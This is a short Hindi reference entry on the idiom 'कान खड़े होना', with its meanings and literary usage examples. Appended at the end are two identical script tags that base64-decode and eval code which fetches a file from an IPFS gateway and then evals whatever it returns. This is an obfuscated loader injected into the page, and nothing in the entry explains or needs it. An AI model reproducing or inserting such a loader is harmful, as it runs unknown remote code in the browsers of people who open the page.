कान खड़े होना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ-
- आशंका या खटका होने पर चौकत्रा होना
- पशुओं के संबंध में आहट होने पर चौकत्रा या सचेत होना।
प्रयोग-
- मैंने जब इनके यहाँ आने-जाने की ख़बर पाई तो उसी वक्त मेरे कान खड़े हो गए। (प्रेमचंद)
- पर जब बाहर के लोग यहाँ की हरियाली से ललचकर या लूटपाट करने के मन से इधर आने-जाने और धावा मारने लगे तब से आर्य लोगों के कान खड़े हुए। (सीताराम चतुर्वेदी)
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>